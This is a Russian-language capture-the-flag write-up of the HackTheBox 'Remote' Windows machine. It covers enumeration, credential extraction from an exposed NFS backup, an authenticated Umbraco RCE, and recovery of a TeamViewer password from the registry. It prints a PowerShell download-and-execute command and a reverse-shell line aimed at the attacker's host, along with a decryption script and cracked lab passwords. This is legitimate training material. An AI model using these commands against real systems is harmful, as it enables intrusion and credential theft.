> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/remote-hackthebox-writeup.md).

# Запись HackTheBox Remote

{% embed url="<https://app.hackthebox.com/machines/234>" %}

{% hint style="warning" %}
**Навыки**:

* Веб-перечисление
* Перечисление NFS - Showmount
* Утечка информации
* Использование панели администратора Umbraco
* Umbraco CMS - удалённое выполнение кода аутентифицированными администраторами
* Получение пароля TeamViewer из системного реестра (AES128 - CBC) (повышение привилегий)
  {% endhint %}

## Разведка

**Настройка рабочей среды:**

Настройте рабочую среду, создав три папки для хранения важного содержимого, эксплойтов и результатов разведки Nmap.

<figure><img src="/files/852fbf8dabb5db6ab4907f4ec15e464f3bdbfef6" alt="" width="563"><figcaption></figcaption></figure>

**Проверка подключения VPN**

Проверьте подключение к VPN, чтобы обеспечить стабильную связь с целевой машиной.

<figure><img src="/files/88049be79032f17816c5f0ddaf5ebc686026b615" alt="" width="563"><figcaption></figcaption></figure>

**Обнаружение открытых портов с помощью Nmap:**/ Перечислите открытые порты и экспортируйте результаты в файл "allPorts" в каталоге Nmap:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.180 -oG allPorts
```

<figure><img src="/files/179dc10e2788e687db4ae83f47b85e5b434a1f96" alt=""><figcaption></figcaption></figure>

**Анализ открытых портов с помощью extractport:**/ Использование функции extractport для краткого отображения открытых портов и копирования их в буфер обмена.

<figure><img src="/files/d61e4ea1916b922cd3d8d3e72b40eb5e278e1523" alt=""><figcaption></figcaption></figure>

**Сканирование версий портов с помощью Nmap:**/ Используйте Nmap для сканирования версий служб и сохранения вывода в файл "targeted":

```bash
nmap -sCV -p21,80,111,135,139,445,2049,5985,47001,49664,49665,49666,49667,49678,49679,49680 10.10.10.180 -oN targeted
```

<figure><img src="/files/b814675a634b3f478c557d5ac375c360afde96d6" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/4568b8d28cd0f6167404de3f73bfa1d62789a227" alt=""><figcaption></figcaption></figure>

Чтобы разрешить доменные имена в IP-адреса через DNS, доменное имя, связанное с его IP-адресом, вставляется в `/etc/hosts` файл

<figure><img src="/files/1c4b2c8f16ad06b7431ccaa8b23d47596767bf96" alt="" width="563"><figcaption></figcaption></figure>

### Веб (порт 80):

```bash
whatweb http://remote.htb
```

<div align="center" data-full-width="true"><figure><img src="/files/aab25f53f629495903ea314dfef2174500ebbde6" alt=""><figcaption></figcaption></figure></div>

<figure><img src="/files/f4652ca519cf4c83f6cb35e713d8e18a0113614d" alt=""><figcaption></figcaption></figure>

### SMB - порт 445

Список **SMB:**

```bash
crackmapexec smb 10.10.10.180
```

<div data-full-width="true"><figure><img src="/files/7eb5846f1e629e130bafa35af4ea3e2972b00e76" alt=""><figcaption></figcaption></figure></div>

### **SMB Client (null session) :**

```bash
smbclient -L 10.10.10.180 -N
```

<figure><img src="/files/38f24e136c79e1d40dd0171eecde3b7d51e26c5d" alt=""><figcaption></figcaption></figure>

### FTP (21) анонимный

У нас есть возможность подключиться через FTP под анонимным пользователем, но мы не можем ни просматривать, ни добавлять файлы.

```bash
ftp 10.10.10.180

put test.txt
```

<figure><img src="/files/f53de9068b2a1e4bd229f75ea9be67aaf93ca2fd" alt=""><figcaption></figcaption></figure>

## Служба NFS (порт 2049)

{% hint style="info" %}
Network File System (NFS) — протокол уровня приложений OSI. Он используется для создания файловых систем, распределённых в локальной сети, позволяя различным подключённым системам получать доступ к удалённым файлам так, как будто они локальные.
{% endhint %}

Чтобы вывести список файлов с помощью `mount`:

```bash
showmount -e 10.10.10.180
```

Мы видим `/site_backups` который виден всем.

<figure><img src="/files/5188a488d687fc6832d0a6db585325ddc15736b6" alt="" width="563"><figcaption></figcaption></figure>

Чтобы подключить этот файл, нужно создать каталог и смонтировать его на нашей машине следующим образом:

```bash
mkdir /mnt/mounted_files

mount -t nfs 10.10.10.180:/site_backups /mnt/mounted_files
```

<figure><img src="/files/a8e4b21cc0ea4c8309573234a103d33b248f897d" alt=""><figcaption></figcaption></figure>

С `tree`, мы выведем все папки в дереве, чтобы получить представление:

```
tree -L 2
```

Мы видим `.config` конфигурация и `sdf` папка из базы данных Umbraco (CMS) на порту 80.

<figure><img src="/files/4540766385c4e902079005e556ed4fc828f295e7" alt=""><figcaption></figcaption></figure>

У `.conf` файл не содержит ничего интересного, а `umbraco.sdf` — это двоичный файл.

<figure><img src="/files/4aaaf27299da4c72e25d573074364802dec8234a" alt=""><figcaption></figcaption></figure>

Мы будем использовать `strings` чтобы отобразить видимые символы и поместить их в наш каталог для детального анализа:

```bash
strings Umbraco.sdf > /home/jordan/Desktop/htb/remote/content/output
```

Мы находим пароли "admin" и пользователя "smith".

<figure><img src="/files/fc4517f91c7315c6d12ece49c8522e0b752b3836" alt=""><figcaption></figcaption></figure>

### Взлом паролей:

Admin (хэш): `b8be16afba8c314ad33d812f22a04991b90e2aaa`

{% embed url="<https://crackstation.net/>" %}

<figure><img src="/files/a04b09f01762d31a239520b586b4018d617e8bd2" alt=""><figcaption></figcaption></figure>

Admin: `baconandcheese`

#### Поскольку SMB открыт, используем CrackMapExec для аутентификации и проверки доступа

```bash
crackmapexec smb 10.10.10.180 -u 'smith' -p 'baconandcheese'
crackmapexec smb 10.10.10.180 -u 'administrator' -p 'baconandcheese'
```

#### без эффекта

<figure><img src="/files/f688b009e8d85cc3129cb8c48fb60a1b3db7a62c" alt=""><figcaption></figcaption></figure>

## Уязвимость RCE (Umbraco CMS)

Мы находим панель администрирования и попробуем аутентификацию под пользователем admin:

`admin@htb.local:baconandcheese`

<figure><img src="/files/919e2eae0d62068dcbde264085cfc94f6ba6fc22" alt=""><figcaption></figcaption></figure>

У нас есть доступ.

<figure><img src="/files/b05337150dbf5dacd7f5602a2e10d281cdc83672" alt=""><figcaption></figcaption></figure>

Мы будем искать `Searchsploit` уязвимости этой CMS и найдём NCE-скрипт для Umbraco.

<figure><img src="/files/9e52a066bebc68e2aa7730bc49c2000b3fcbf369" alt=""><figcaption></figcaption></figure>

`searchsploit -m aspx/webapps/46153.py`

Мы изменим настройки логина, пароля и хоста в скрипте.

<figure><img src="/files/42b484686308d6fc9ae85da12a0e1fb0f59c7de7" alt="" width="563"><figcaption></figcaption></figure>

**Проверим связь с помощью ping:**/ Мы выполним эту команду на сервере и будем прослушивать с tcpdump

```bash
/c ping 10.10.14.6

tcpdump -i tun0 icmp
```

<figure><img src="/files/b14cc1175acf782208fd3a8eb44dc5a41a8d0938" alt=""><figcaption></figcaption></figure>

Как только мы увидим, что можем выполнять команды, мы загрузим `PS.ps1` скрипт в нашу систему.

{% embed url="<https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Shells/Invoke-PowerShellTcp.ps1>" %}

В конце скрипта мы добавляем следующую строку:

```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.6 -Port 4444
```

<figure><img src="/files/6af1e1c23352d5bc5fcde63c33ff340710106021" alt="" width="563"><figcaption></figcaption></figure>

Мы создадим веб-сервер с помощью `PS.ps1` скрипта:

```bash
python3 -m http.server 80
```

Затем мы изменим команду, чтобы она указывала на наш веб-сервер:

{% code fullWidth="true" %}

```
/c powershell IEX(New-Object Net.WebClient).downloadString(/'http://10.10.14.6/PS.ps1/')
```

{% endcode %}

Наконец, слушаем порт 4444:

```bash
rlwrap nc -nlvp 4444
```

<div data-full-width="true"><figure><img src="/files/9b1dce52d6678b3fdb5720866c68bb2700a6ec82" alt=""><figcaption></figcaption></figure></div>

Доступ к `user.txt` файла и обнаруживаем, что TeamViewer установлен

<figure><img src="/files/07fff1f41dcbbedbd1c0a1cb715c87a3ddf5dcc6" alt=""><figcaption></figcaption></figure>

## Повышение привилегий:

Если посмотреть на запущенные задачи, можно увидеть TeamViewer версии 7.

```powershell
tasklist /svc
```

<figure><img src="/files/954acbc4beda75828dedb4a002a4591ee0e6aad5" alt=""><figcaption></figcaption></figure>

Просматривая скрипты Metasploit, мы находим один, который может извлечь пароль TeamViewer:

```powershell
locate teamviewer | grep metasploit
```

<figure><img src="/files/957fe1c0ec488d3f975b33c2e3c9b85c6bfd3e60" alt=""><figcaption></figcaption></figure>

При анализе скрипта сначала нужно получить ключ (в зависимости от версии) из реестра:

`HKLM/SOFTWARE/WOW6432Node/TeamViewer/Version7', 'Version`

Затем следует изучить параметры безопасности, особенно AES-пароль:

```powershell
cd HKLM:SOFTWARE/WOW6432Node/TeamViewer//Version7

(Get-ItemProperty .).SecurityPasswordAES
```

<figure><img src="/files/f378f83c084d5e20fa4a83b19cb1164d77060039" alt=""><figcaption></figcaption></figure>

Поместите следующие байты в `ciphertext`:

`255,155,28,115,214,107,206,49,172,65,62,174,19,27,70,79,88,47,108,226,209,225,243,218,126,141,55,107,38,57,78,91`

### Скрипт автоматизации на Python:

Вот скрипт, который автоматизирует весь процесс:

```python
from itertools import product
from Crypto.Cipher import AES 
import Crypto.Cipher.AES

IV = b"/x01/x00/x01/x00/x67/x24/x4F/x43/x6E/x67/x62/xF2/x5E/xA8/xD7/x04"
key = b"/x06/x02/x00/x00/x00/xa4/x00/x00/x52/x53/x41/x31/x00/x04/x00/x00"


decipher = AES.new(key,AES.MODE_CBC,IV)
ciphertext = bytes([255,155,28,115,214,107,206,49,172,65,62,174,19,27,70,79,88,47,108,226,209,225,243,218,126,141,55,107,38,57,78,91])


plaintext = decipher.decrypt(ciphertext).decode()
print(plaintext)
```

<figure><img src="/files/0ee03ed0e13c5ad25b968054be11aab313c1b0fa" alt=""><figcaption></figcaption></figure>

Пароль: `!R3m0te!`.

Проверим с помощью CrackMapExec, верен ли пароль для пользователя `Administrator`:

```bash
crackmapexec smb 10.10.10.180 -u 'Administrator' -p '!R3m0te!'
```

<figure><img src="/files/32637cf71e05fa2d600dd0c7a02aed185b2dccd1" alt=""><figcaption></figcaption></figure>

Подключаемся с помощью Evil-WinRM, поскольку удалённая служба администрирования Windows активна на порту 5985:

<pre class="language-bash"><code class="lang-bash"><strong>evil-winrm -i 10.10.10.180 -u 'Administrator' -p '!R3m0te!'
</strong></code></pre>

<figure><img src="/files/09d929b852c545217946db3481035eb7d52f93c9" alt=""><figcaption></figcaption></figure>

### Финальный root-флаг :)

<figure><img src="/files/d89e0770bcad6b11d4e1d27e659d8120c1bba487" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/2f4a4f3c67e24d72cbf3e4671350c9dd2004f39a" alt="" width="529"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/remote-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
